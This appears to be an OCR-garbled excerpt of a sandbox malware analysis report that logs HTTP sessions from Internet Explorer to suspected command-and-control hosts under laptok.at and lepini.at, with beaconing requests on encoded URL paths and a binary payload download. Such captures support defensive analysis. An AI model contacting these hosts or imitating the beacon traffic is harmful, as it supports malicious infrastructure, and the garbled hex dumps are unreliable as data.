Date: Mon, 15 Feb 2021 23:58:25 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Content-Encoding: gzip

Data Raw: 36 61 0d Oa 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd bl e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2¢ c9 49 b5 33
313051 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da €8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b Oc 43 74 1d
4011 1b 7d a8 34 c8 6¢ a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 Ob d9 61 33 92 00 00 00 0d Oa 30 0d Oa Od
Oa

Data Ascii: 6a(HML),1310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Destination IP Destination Port Process

34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /apil/6pQTzaY2jKRE9Otp7pijj/jmnK_2FJdB8kJDKg/vxFcjPsrp_2FB9U/IOXXE03y78_2BI_2FC/pZwONzw8E/O0k8zJ
t20KIPWEAITUgj/Ph1AIH46ZRC_2FAT8N_/2FsqgQGNoPpxHDz1fQjtgV/H6 LURIVMmIVZx/vXX3iis8/_2ByUlphk
kxJKe_2BO0Axt8i/LIHOB5rC_2F/fKjHLYVOPd7AS02zv/I5i58zgPLgWh/Zel7YnjtDx2/JkZ01V4bMlal_2/BrHCuz27onDH_2Fy
alz5t/pc7dPwXYGnmuctsD/kRhp92_2FH2ZQHW/DAh49GgFcO0yanPH7sP/84LwdYOH_/2Bbf1SY8UzVHP/4jNuPd H
TTP/1.1

Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: apil0.laptok.at

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 15 Feb 2021 23:58:28 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Data Raw: 32 30 30 30 0d Oa 1f 8b 08 00 00 00 00 00 00 03 14 9b c5 7a 83 50 10 46 1f 28 Ob dc 96 b8 4b 70 d8 21 c1 dd
el e9 4b bb ec 97 92 70 ef cc 3f €7 90 5b bc 31 37 2b 68 26 65 55 4b 91 92 ab 92 ab el 70 70 58 €5 e7 58 97 69 84 d0 e0
9341 f4 11 d9 40 08 ee b9 6¢ 9a 02 4f 18 29 46 c5 1e al 02 11 c1 8c 8e 6e 3a 47 dO cf 75 10 ad 31 a4 03 6d d4 01 5f b3
87 30 b7 92 73 d8 f0 49 a6 93 bb 09 40 18 89 cb 85 €6 82 86 12 9a 05 a8 f8 5 cb 7a 3f 34 32 08 3b 7b f4 4a 28 04 c6 51
78 e0 7 4b a4 29 9d be €6 8d 84 al a2 b1 3c ab eb 88 92 9c fe ad ca 58 cd 29 b2 90 6f a4 66 83 39 58 b9 10 b5 96 04 22
8f 23 60 36 31 b8 ee b9 85 d5 f5 65 ae 8e c7 5a 9f 8f ec 16 3a c6 85 9f df 19 86 86 53 6 48 f2 ¢4 1d c4 cf 5a 30 71 54 14
07 3d 64 95 8a 36 6f 75 43 20 1f €0 c7 6e d2 37 ef bd 8f 20 cc 1e f7 45 c2 61 6a 57 22 68 0a b5 ce 46 15 39 aa 2b 7a 8a
fd 94 78 84 f6 58 dd 2f 9f 53 0 9f 76 68 d8 1f b5 cb 69 67 69 d7 7c 05 ba 87 2b 1a 37 fd 1c 37 cd ee 2b 55 cb b2 5d a6 8f
4952 31 2f 7¢ 52 27 9b b0 81 52 32 a8 58 €5 56 a7 8c ec 84 b0 ef 06 46 ee 5 03 7a €9 ¢3 70 ¢8 5d 2c 54 b9 41 a8 7f 77
43 3a bd e7 37 bb 85 70 54 30 fe 61 8c 4b 07 ac d3 c0 6e 53 a9 7e 4f 62 c4 d3 77 22 66 6a €3 1c 63 6d 73 ce 2d b6 7b 46
55 72 2c d4 92 8d 0f 08 7b fa 4f 87 ed 04 a0 67 39 36 5¢c a7 67 05 58 b0 86 09 51 a7 d4 d7 9a ba 4a 00 71 24 39 1la 3bal
85 0 9f 92 de 62 da af 05 19 90 33 ca a9 61 08 6b f9 48 9d 44 50 a5 95 30 e7 8e 84 50 ce d3 3f 24 ed ec bd d7 c4 68 21
4d 7a e5 cf 23 35 fd 4b 39 b4 0a 9f 09 Oc 61 f4 23 6e 42 31 77 db Of 95 Ob 7 9e 72 09 d4 4c 1a b7 71 10 81 1f 46 f2 f9 b8
67 b9 2f 32 92 b3 72 7a 9e 62 7b b9 1f 87 60 b6 96 7d 60 6f f5 3b 12 18 af €3 33 dd fe ec ee 42 a0 18 8c bf 36 bd ce b8 d2
67 c4 eb eb b9 af 08 6d d9 f1 Ob al Oa 12 e0 7a 40 7e 9d 6¢ 1b 68 07 f6 1c cc eb 1e 26 67 6b 9e 90 be c6 30 12 20 8c ff
48 01 c6 ed 69 ad e9 3e 6b 36 fe 37 7f 11 b2 al 07 37 e5 0a b3 07 6 cf ca 44 5¢c 6a fe €8 73 62 1a 4d 04 b8 e5 fe €9 c8 b7
a6 4e c2 c4 b5 bd 11 bl 3a 61 ad c5 f7 ae 52 aa 02 Oc c0 47 dd 26 d7 7c d3 dc c8 39 11 de 3e 14 2b 8f 67 60 da 3e 93 39
3b fe e0 72 45 7d 19 c7 f6 ae 4b 54 d5 bc 7a ee ce 2d 16 d8 f0 95 6e 7b d9 43 c8 3d ee 8f 21 8b 16 f0 b1 dc e9 21 97 6¢
b6 91 c9 f2 22 8e €3 62 9a 78 4a d4 85 64 20 82 8f 3d 86 b2 c5 al 63 5a b9 f1 24 3c 15 Oe Oc 1d fa e0 9f fO 44 4c 46 2a 06
99 d9 20 94 73 a7 69 de d5 7d f6 95 64 78 18 70 f9 1d 17 62 90 12 29 7a 9e 3c 64 df ba 43 13 a3 45 75 4b 6¢ 31 0b 9d 15
b3 b6 da af eb 2f 9f 24 96 7a 29 c2 c3 59 2b 5a f8 94 eb a5 ae a2 79 ef f2 0f 3d b2 41 al 9e a6 64 41 14 51 c6 3b db a6 7
28 21 67 6d Oa 1e ae ef f7 fO cb 21 2a eb 88 6d ea 96 b9 6b 1c 33 e3 ad €8 5e 10 85 50 33 e2 b7 37 bf 25 1f b2 2e 16 fa 4
b 05 6f b7 25 01 e7 bb 5d 47 a7 08 1b ea f4 2a 21 91 00 56 3f 19 17 7f e4 1b 32 16 64 ce 8c e5a3 80 4e 42 95 ec 4117 ¢
17941 78 39 5f b8 00 e5 f1 85 25 c4 00 22 05 28 48 86 e4 3b 36 7d a9 ee fd c3 b2 2a 59 81 f0 58 Oe 2b d4 b1 2c 39 bl b
814 1bel0be593 1990 286 ed 75 aac7 96 ef 32 d5 a9 07 71 07 83 ed 7e 84 7b b5 0a 43 15 €0 41 3d 30 5¢ 93 92 78
35 ed 0159 d1 6a e9 9d 3a 23 f2 df 07 aa al 21 41 eb 00 72 e7 d9 83 61 45 1d a2 35 0f 35 d1 e6 bc

Data Ascii: 2000zPF(Kp!Kp?[17+h&eUKppXXIA@IO)Fn:Gulm_0sl@z?42;{J(QxK)<X)of9X"# 61eZ:SHZ0qT=d6ouC n7
EajW"hF9+zxX/Svhigi|+77+U]IR1/|R'R2XVFzp], TAWC:7pT0aKnS~Obw"ficms-{FUr,{Og96\gXQJq$9;b3akHDPOP?$h!Mz
#5K9a#nBlwrLgFg/2rzb{’} 0;3B6gmz@~lh&gk0 Hi>k677D\jsbMN:aRG&|9>+g">9;rE}KTz-n{C=!!I"bxJd =cZ$<DLF* s
i}dxpb)z<dCEuKI1/$z) Y+Zy=AdAQ; (Igm!*mk3"P37%.K0%]G*!V?2dNBAyAx9_%"(H;6}*YX+,9u2q~{CA=0\x5Yj:#!AraE55

Destination IP Destination Port Process

34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data
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Timestamp

Feb 16, 2021
00:58:28.811466932 CET

Feb 16, 2021
00:58:28.936711073 CET

Session ID

4

Timestamp

Feb 16, 2021
00:58:31.093362093 CET

Feb 16, 2021
00:58:31.529016018 CET

Session ID

5

Copyright null 2021

kBytes
transferred

3859

3860

Source IP

192.168.2.5
kBytes

transferred

4003

7131

Source IP

192.168.2.5

Direction

ouT

Source Port

49766

Direction

ouT

Source Port

49773

Data

GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: apil0.laptok.at

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Mon, 15 Feb 2021 23:58:28 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Content-Encoding: gzip

Data Raw: 36 61 0d Oa 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd bl e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2¢ c9 49 b5 33
313051 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da €8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b Oc 43 74 1d
4011 1b 7d a8 34 c8 6¢ a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 Ob d9 61 33 92 00 00 00 0d Oa 30 0d Oa Od
Oa

Data Ascii: 6a(HML),1310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Destination IP Destination Port Process

34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /apil/qCo80h_2F6L/Un922nXSLi5jud/Tm30EKBziEW7_2FtAqldr/fGZBjc4EihNVt7kd/UjRggXmTO_2BUAF/xrnYYxpU
blfpczOFmB/wh_2BNTFR/q9zp_2BjPfVhwarVMviw/H8NdIJdOM3qLLWd54hNt/usFI9bADpeklCd8xH_2Fpoly_2F7
jfzgYQhs/HoCX2_2B/9kLmdILecOZpjnoEnrDkKOI/dR2aNVfJbu/dLbU8VAVFwv6v2jhf/loYN_2FVFyo3c/sinTI2N1ha3/vw8Q
IHIBELIHMZ6/0Znb9lb3aPGbtAH5L1Za5/ssU0QWAIP5WBshWj/af4bMUUPYYBp_2B/XSRAzR6A/g6yaCOY HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: apil0.laptok.at

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 15 Feb 2021 23:58:31 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Data Raw: 37 36 63 0d Oa 1f 8b 08 00 00 00 00 00 00 03 0d 94 35 b2 ad 00 00 43 17 44 81 5b f1 Ob €0 e2 ee d2 el ee ce
ea ff eb 33 93 49 ce 24 af 04 77 c5 49 30 a8 12 a5 a8 b6 a2 5f 8b 54 b2 76 d5 66 ff 0d 57 1le 19 f4 a9 6d 4f b3 8e 5d 45 3e
09 2d Oc e2 b5 €8 b3 78 a7 Oe 77 9b 12 07 06 8a 34 67 Ob 51 el e3 63 ff d2 ba 88 2a d0 67 de 7e 35 cb 0f 69 99 96 72 61
db 7b 64 dc e9 f2 d6 a6 75 f4 53 a0 da 04 4e 16 a0 fc 4e ed c7 26 8a 5a ea 13 9a 6e ed 08 Ob 7c cc 3a 04 f3 Oe 55 97 6e
e6 ab 00 c3 c8 6a 3e 3d 02 cc c5 94 d7 1a 93 3d c4 4d 8c 9d e5 36 2c 6b 04 b0 a2 35 67 c4 32 d5 el dd e7 70 62 be a2
Oe 18 bc 38 ba ab b1 7a 36 52 97 d5 24 07 50 19 12 89 13 47 0d 36 af 5b bb fa cd cb b8 0a f6 31 6f c5 40 ¢9 03 8d 2d 41
90 b6 41 4f ad da 6b 65 9e 25 €9 71 cd af da a4 99 20 88 95 3¢ 3c 66 1c 12 d8 9f 8e cd 93 47 dO b6 47 a6 5b 04 6f 4d d2
8b 2f cf c7 e4 84 5d 76 cd cc af 49 1e d7 6¢ b8 90 2b 8d 5d al d9 c6 fa dd 05 61 75 4a 98 d3 fd 73 72 8d 75 74 4f fa 17 62
27 63 f7 72 0f 18 74 fd 12 89 50 ca 7f 95 5e cd b5 30 ed 73 02 4d ec 8d Oe fd 6a 8f Of da 19 f4 c1 29 eb 63 52 47 f1 ce 75
99 1f a8 ab b7 5d e0 01 7b 63 €8 a3 2a 8a 29 e0 2c ab fb a8 d5 b7 a0 1b 15 fd a7 ad 41 18 48 22 e2 d4 38 f9 9c 35 fc 68
a4 a6 73 e4 17 a6 16 €590 0a 7c €9 12 c4 d4 42 af 20 53 e5 0d 82 c1 75 23 a0 da 29 78 00 6¢ 96 a6 b6 fO b2 79 50 06 8b
8d 2e 02 32 5d 59 db de 2a 32 51 3b 0f f5 98 d5 90 e7 2c 7f 06 f2 ea 77 56 4b 3d Oa a4 93 d9 56 ad c5 34 a9 de 9d 38 55
c9 0a 16 a6 fe 75 f3 6e 90 f4 ec 0d 36 62 44 46 cb c3 58 ac 57 f0 99 73 4d da be 94 43 fe b3 08 9c 2e €9 a7 al d7 81 Oc
6a ef e0 04 38 67 b6 ca 8b 92 ac e9 da 9e da 9b 01 31 84 4c e0 20 e9 ea c0 df 5e a6 72 73 1b a0 2f 9d 2e cc ce 52 45 79
86 4d b4 30 84 ce c2 4a ee a4 ba b5 15 ce f4 61 a3 d3 79 43 24 bf 0f 43 7c ff cO cc 2b 95 da dc cb 22 a5 92 42 4d 22 3a
81 36 29 Ob 65 c7 aa 04 c9 2a 2b b0 64 0f 11 06 cc ba 7e be df 28 6e 54 a5 32 6¢ 65 68 e7 f9 07 6e 08 80 ea 46 14 al 19
01 c9 3c 88 40 2b b0 05 d6 aa 94 1b 6a a7 ab ce e4 84 d8 5c be ce df 6d 1c 47 d8 88 00 c1 81 61 93 7c dc 1d c0 25 b1 8a
12 5¢ 2b af c4 07 a2 d2 d9 6f 70 2d ff 42 85 e4 9f 43 10 83 a9 d9 91 44 72 12 00 65 f4 Of f9 5b c1 46 b7 42 8¢ 2¢ 85 17 d5
a5 c2 60 d0 68 fa 83 d4 c6 c5 a4 05 25 0a aa c0 bc 66 ae 9b d3 f8 8b 2e c1 d9 {3 88 fe cb 5e 25 25 e6 3b 24 51 9d e8 57
11 cc 97 43 ed 62 f3 e7 14 a5 ed 3a 78 b9 Ob 64 €9 9a 69 a9 ac 80 4c fb d4 7a 6¢ 4d bf a6 fe a8 be 6d 94 af Oe 84 13 96
c0 1f 95 3f 35 51 33 8d bf 4e 40 d7 d6 a8 5a d1 a6 ab 93 ac af 5d ed 9c 3b 0a f3 1b f8 9e 05 c0 5a 81 8e 5f a3 ff 42 38 c4
15 8e f4 c5 f4 84 12 a3 Of ae 1c 79 5f 55 04 71 ab 16 86 04 b5 26 45 c1 1e f1 Oc d3 6d 93 da 34 92 07 29 0f 7d f3 b1 f0 42
Oc 7423 e1 07 09 aa 17 €3 3a 76 23 Oc 27 41 95 44 1b cc c0 6¢ b1l 67 1c 49 a3 fd 27 48 25 64 b9 21 aa 4b a5 07 bl fe ca
41 9c 84 f4 bd 6d 51 ¢8 04 17 f0 51 73 39 51 2e 39 77 0f 2b f9 78 55 85 fe 06 3a 57 ¢8 b2 aa 51 1a bf b1 b6 f5 9¢ 21 Ob fe
10 47 5d 37 d1 ca a3 c0 65 27 b8 4c 75 4f d1 c8 ac f3 9¢ 92 f6 09 86 93 59 48 bc 93 36 32 ab 8a de 24 16 3a fa cb 81 c4 5f
96 b7 ed 2 18 89 8f d0 9a 35 54 d6 57 2c 56 60 5c 98 bf Oe 12 af d4 7d 88 2e 5b 63 f9 c6 20 c6 93

Data Ascii: 76c5CD[3I$wI0_TviWmO]E>-xw4gQc*g~5ira{duSNN&Zn|:Unj>==M6,k5g2ph8z6R$PG6[Lo@-AAOke%q <<fG
G[oM/]vll+]audsrutOb'crtP*0sMj)cRGu]{c*),AH"85hs|B Su#)xlyP.2]Y*2Q;,wVK=V48Uun6bDFXWsMC.j8glL "rs/.R
EyM0JayC$C|+"BM":6)e*+d~(nT2lehnF<@-+j\mGa|%\+op-BCDre[FB, h%f."%%;$QWCh:xdiLzZIMm?5Q3N@Z];Z
_B8y_Ug&Em4)}Bt#:v# ADIglI'H%d!'KAMQQs9Q.9w+xU:WQ!G]7e'LUuOYH62$:_5TW,V'\}.[c

Destination IP Destination Port Process

34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe
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kBytes

Timestamp transferred Direction Data
Feb 16, 2021 11349 ouT GET /jvassets/x|/t64.dat HTTP/1.1
00:58:56.739624023 CET Cache-Control: no-cache

Connection: Keep-Alive
Pragma: no-cache
Host: c56.lepini.at

Feb 16, 2021 11351 IN HTTP/1.1 200 OK

00:58:56.863928080 CET Server: nginx
Date: Mon, 15 Feb 2021 23:58:56 GMT
Content-Type: application/octet-stream
Content-Length: 138820
Last-Modified: Mon, 28 Oct 2019 09:43:42 GMT
Connection: close
ETag: "5db6b84e-21e44"
Accept-Ranges: bytes
Data Raw: 17 45 7e 72 ac 5b ed 66 el de 31 9e 70 18 b7 1a 77 cO be b3 e2 43 ff 7c d8 16 7f 6f 35 a2 d1 a5 d2 ec 0d Oc
de 58 84 1a f3 53 04 f0 65 cb 76 1f 35 85 a0 7d 1d f2 44 63 de 89 3 f1 eb d3 60 21 68 3d 3a 93 el 55 94 db 4c d2 f2 b4 3e
34 48 eb e8 47 7b 53 14 54 86 87 a3 d2 0d 55 Oc d0 4f 6f 51 73 eb e2 f9 f4 9b fO 49 af 3d a0 bd ba 48 52 29 a2 84 33 75
9e 48 16 a7 b3 00 58 91 bf bf ea 49 85 ff ¢7 58 36 df 5b 13 ec c2 c6 92 56 72 82 53 68 al ca a8 33 3e e7 8b 8e 6f fa 4b 85
a0 7fbb 5¢c de 12 ¢3 97 40 27 18 f2 b2 95 91 d8 b7 45 cf 2a 5f 95 76 5b fc 02 c1 9d d7 e5 7f ee ec f5 a0 52 7b 4d 4d ae da
70 b4 71 95 b6 39 2e 38 47 c0 ab 5e fe cf al 6a 5¢ a5 3c 8f 1b 97 Oa 2a 41 5f 6e 2e 85 b4 8e 24 d6 6a 1c cb 43 8c ca 75
7d 09 57 73 3c a2 b8 0b 18 00 21 c1 f5 fc e4 2b 04 14 51 ¢3 36 ea 80 55 0a 28 82 e4 56 51 91 99 bf 11 ae 36 06 cd 81 44
e0 ad db 69 d6 8e 24 28 ee 4c 0d 81 69 8b 96 c0 52 cd ed ec 31 e8 7f 08 d8 ff 0a 82 4d 1d fa a0 28 3c 3f 5f 53 cb 64 ea 5d
7c c7 f0 0f 28 71 5a f4 60 b7 7b f3 e1 19 5b 7b be d1 62 af ef 2f ad 3b 22 a8 03 e7 9f 3d e5 da ca 8b 1a 9c 2c fd 76 89 a9
7 a5 7b 6a b4 47 62 bf 64 5d 54 26 01 9a 1d 3b b0 97 db ¢5 c1 dd 94 52 d0 b2 77 €0 7 00 8d c1 99 02 69 f4 b2 87 b2 Oc
68 b3 9d b6 €6 a6 9f 58 b0 52 8 5e b5 ac 1e 36 41 bd bc f9 5d 3a 2b 5a 40 60 9a 48 c1 b3 4a df cc 81 65 53 4e e4 9a 80
8b dd 8f 43 eb 11 23 73 1b 1b c1 99 89 21 94 4c a5 84 ¢3 13 96 ad 5d 82 20 a4 a4 3b dd 1le 43 74 c6 42 11 7a 8a f2 93 8b
7e 247317 d9 c7 eb 47 18 47 41 4f a2 f1 bc 52 cc 35 f2 ¢2 73 3e €5 32 8a b5 ¢7 7c 3b d4 88 bd aa 47 48 66 2e 00 bd 3f
fc 08 b4 49 98 €3 36 db f0 33 4c 40 2b cc 59 2a b5 ba 73 58 27 de a0 31 Oe 6d 63 70 19 7b 5f 67 00 54 79 89 7f 42 21 df
6e 23 el 54 43 4a 09 00 77 ac fb e4 2e a8 6d 07 21 b3 a0 98 ad 40 d2 34 64 c9 c2 62 14 7c 45 eb a0 65 98 c1 18 al 6a af
69 0a a2 bb 50 42 96 c1 d7 02 58 6d f4 b1 15 90 f6 50 9c 6a fd d4 2e 5e a7 4a cb 67 59 63 74 77 99 de €0 c0 d5 5¢ 9d a7
89 1b 90 39 29 23 21 3b c4 35 f1 49 9e 67 f3 ce fe 1d 0a 67 69 06 13 13 30 ab €6 c6 f4 c9 7e 94 48 5b al {7 5f 27 1f 03 ac
85 el Oe bl bf 6e el 1c 5a 24 cc b2 53 fd 61 58 €3 87 Ob 85 9e 03 94 6 2a bd 92 53 09 77 f8 5e d3 c9 b7 19 42 4e e6 2a
67 af 27 4e 01 de 6a fc 1e 82 Oc 7e 45 7b e8 1d 97 82 9b 5¢ 14 96 d2 82 dd 53 15 1e 84 41 01 4f Of 32 ac ee b7 85 96 4c
€9 dc b0 42 3c 93 a6 Ob a3 79 cb 7b 2c d1 21 6f c1 6a 38 48 d7 37 8f 35 b8 1d 7a e7 eb 63 bc 4e 6b b6 23 aa 9c fd 32 03
46 e2 37 47 49 c2 35 al 48 7e 98 49 6a b4 98 e7 cb 33 dd 1a be 5a c8 ea a7 44 33 9b e3 a6 84 da 68 ec bf 93 03 88 f9 6e
02 17 a6 96 46 ad ae 25 c2 bb 97 7a 57 35 aa 0a 42 b5 ¢3 8a 35 af 20 1b 1a b9 c¢6 99 99 8a b2 b6 46 1c 70 a0 53 c2 €9
a2 e6 ad a4 8f d5 11 da 74 60 13 7c 55 4d 42 1c c6 a4 47 a8 4e 27 67 a4 37 b3 Oe ca f5 b1 9a a5 de e3 07 25 55 07 ff 18
b3 17 44 8b a0 af e3 f5 ff 75 b8 f2 2b 4d 9e 9 ad 07 c0 5e d7 1b ab 81 e4 99 93 ac a9 63 2f 4e 27 18 dO dd 29 {7 28 98 b1
c3 5e 52 9e d4 01 1b 9f ba 6d 7d 24 b8 cc 84 Oe 03 07 2e 3a ba b5 ad 8b ae 57 ce 78 7b aa 0f 07 5f ee 2a 4a 6b 0d f8 40
bb 79 91 71 5d ae 1b 1d 3c bf b9 e2 9b d4 4c 6c 52 55 e3 59 22 40 9a 6f cc 9a 14 bb 63 ad 00 8f bf cd 7b ca 18 ce c6 df
2108 86 ed 93 17 79 b7 6d 89 Oc ba 64 8a 93 dd fa 1b 07 69 84 31 87 f9 ae 59 a4 f8 ed 03 62 6f 2a fa 54 99 38 81 d4 e3
dc e839d4 b0 6281 c249al
Data Ascii: E~r[f1pwC|o5XSev5}Dc’h=:UL>4HG{STUO0QsI=HR)3uHXIX6[VrSh3>0K\@'E*_V[R{MMpq9.8G"\<*A_n.$
JCUulWs<!+QB6U(VQ6DI$(LIRIM(<?_Sd]|(qZ {[{b/;"=,v{jGbd] T&;RWIhXR"6A]:+Z@ HJeSNC#slL] ;CtBz~$sGGAOR5s>2
|;GHf.2163L@+Y*sX'Imcp{_gTyB!n#TCJIw.m!@4db|EejiPBXmPj.~JgYctw\9)#!;5Iggi0~H[_'nZ$SaX*Sw BN*g'Nj~E{\S
AO2LB<y{,'0j8H75zcNk#2F7GI5H~1j3ZD3hnF%zW5B5 FpSt [UMBGN'g7%UDu+MAc/N')(*"Rm}$.:Wx{_*IJk@ydq]
<LIRUY"@oc{'lymdi1Ybo*T89bl

Session ID Source IP Source Port Destination IP Destination Port Process
6 192.168.2.5 49780 34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes
Timestamp transferred Direction Data
Feb 16, 2021 12209 ouT GET /apil/VhHTEmPzbE StJ40DDwp/kQ6ggaRpVnpsug_2B0SIwX/XJ3fXm3aVvud90/1_2B7cr6/T_2BQPX93_2FtT
00:59:06.163141012 CET _2BUUURZI/AWWVWHMCcH_/2BUBGCADVWMmprID/L5eh8wlam6YF/SNWyB4_ 2BWm/zk5kVoxEFfdcUb/ATRG4B609Jd

GD1fLNDqV7/c18vrgCIx5W3AyWk/YkXmggvTDqtnr7l/605A0ThiBQ13h_2FIJ/CRITvJ20k/cYZ94FgWzWVkvnQsu
K3C/E6WVUlJEgnnze_2FQoZ/iJSmMSPJ1uDyxoLTc337jx/njscfBmMWGPA0q/JigJEBa7dSC/GQi2 HTTP/1.1
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0

Host: api3.lepini.at

Feb 16, 2021 12210 IN HTTP/1.1 200 OK
00:59:06.866868019 CET Server: nginx
Date: Mon, 15 Feb 2021 23:59:06 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff
Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0
Session ID Source IP Source Port Destination IP Destination Port Process
7 192.168.2.5 49781 34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe
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kBytes

Timestamp transferred Direction
Feb 16, 2021 12211 ouT
00:59:06.989295006 CET
Feb 16, 2021 12212 IN
00:59:07.422893047 CET
Session ID Source IP Source Port
8 192.168.2.5 49782
kBytes

Timestamp transferred Direction
Feb 16, 2021 12213 ouT
00:59:07.524482965 CET
Feb 16, 2021 12213 IN
00:59:07.952873945 CET
HTTPS Packets

Source Dest
Timestamp Source IP Port Dest IP Port
Feb 16, 2021 104.20.184.68 443 192.168.2.5 49728
00:57:39.206190109
CET

Copyright null 2021

Data

POST /apil/z9QMincV/K51qg0M8Pr92gCHXX5PHJIDsK/9¢_2BafRoh/4XYkIJRWQVTzrv7Uv3/wngQcd_2F3U1/FYkm
EnrarM8/prFE5X7UgK7npU/I50vCbhSeqgHX2pOCMBIMw/6G3yICTVPM_2Fao_/2FHfb2YFd_2Fsm9/RXg8z6_2BbPS
XzWIWu/9J0iQgQtr/rufo4JqzeosqL1srQO1Y/Q6QSqSiZInzgmM3ARI_/2BDUzBIINA3CJx03pBLSY7/qcaRv2Hat
zUtG/WgTgo2SQ/jXJ_2FQX_2BRQpBzyb87GE/8RD4rYDEK9/G_2BUelyeqJdjX_2BK/T70P9kOGqlyN/0X3GrtdJQp
t/XxICmDxOic/59te HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0

Content-Length: 2

Host: api3.lepini.at

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 15 Feb 2021 23:59:07 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Data Raw: 37 65 0d Oa 32 fc dc 1a f8 7b 21 23 74 4a 43 c1 de 29 3a 7a d0 55 e2 67 9b f3 6f ee 56 04 53 de 51 c5 bf 78 6e
da bf bl 6a 9c ee 46 44 86 2a el 27 8f cc b2 30 cf e2 d9 64 73 36 1d d8 57 ca al 8c 7b 8f a8 97 19 eb 12 98 84 ce cb 08
b0 fa 7a 66 25 95 fe d2 97 a5 43 60 f1 3e 9a aa 1d d8 ef 10 a3 d1 47 2b 40 b9 ff 59 e3 7a c5 71 fa €9 1d 07 36 1f b0 ae 8b
b2 66 76 3b 9b c5 01 34 2e bd 4b 93 0d 0a 30 0d Oa 0d Oa

Data Ascii: 7e2{!#tJC):zUgoVSQxnjFD*'0ds6W{zf%C >G+@ Yzq6fv;4.KO

Destination IP Destination Port Process

34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /apil/B8MnooNN9kMOjr/4AAPxwEPAYEPUIXmrSXX7M/PtXgVIKt3uJB84qO/etiXgt3osmpC7JIG/0xAsGmudhu
IU6Ee02L/alWtBW_2B/X2qVjU0gM9VetfXHyr60/22chUJFBwF80mMhWA4TtJ/zMN3tpHv3EelIBtIBSLYks/icW4ouV
jYalUX/5NyN3koL/S791_2FBQmM1Q0Ugh8JrQ_2B/9PHzDIFD3W/bBSIu486hfKepofap/9wIN42Vj4ZPw/W\V0o49wPI
IVW/12BtSVKImp3wQk/4MrldrzxIR8040JdxIDGX/IS7Y 2jIMOQAcwWzAYjOSN/NQ HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0

Host: api3.lepini.at

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 15 Feb 2021 23:59:07 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0
Not Not JA3 SSL Client
Subject Issuer Before After Fingerprint JA3 SSL Client Digest
CN=onetrust.com, CN=Cloudflare Inc ECC FriFeb SatFeb 771,49196-49195- 9e10692f1b7f78228b2d4e
O="Cloudflare, Inc.", CA-3, O="Cloudflare, 12 12 49200-49199- 424db3a98c
L=San Francisco, Inc.", C=US 01:00:00 00:59:59 49188-49187-
ST=California, C=US CN=Baltimore CET CET 49192-49191-
CN=Cloudflare Inc ECC CyberTrust Root, 2021 2022 49162-49161-
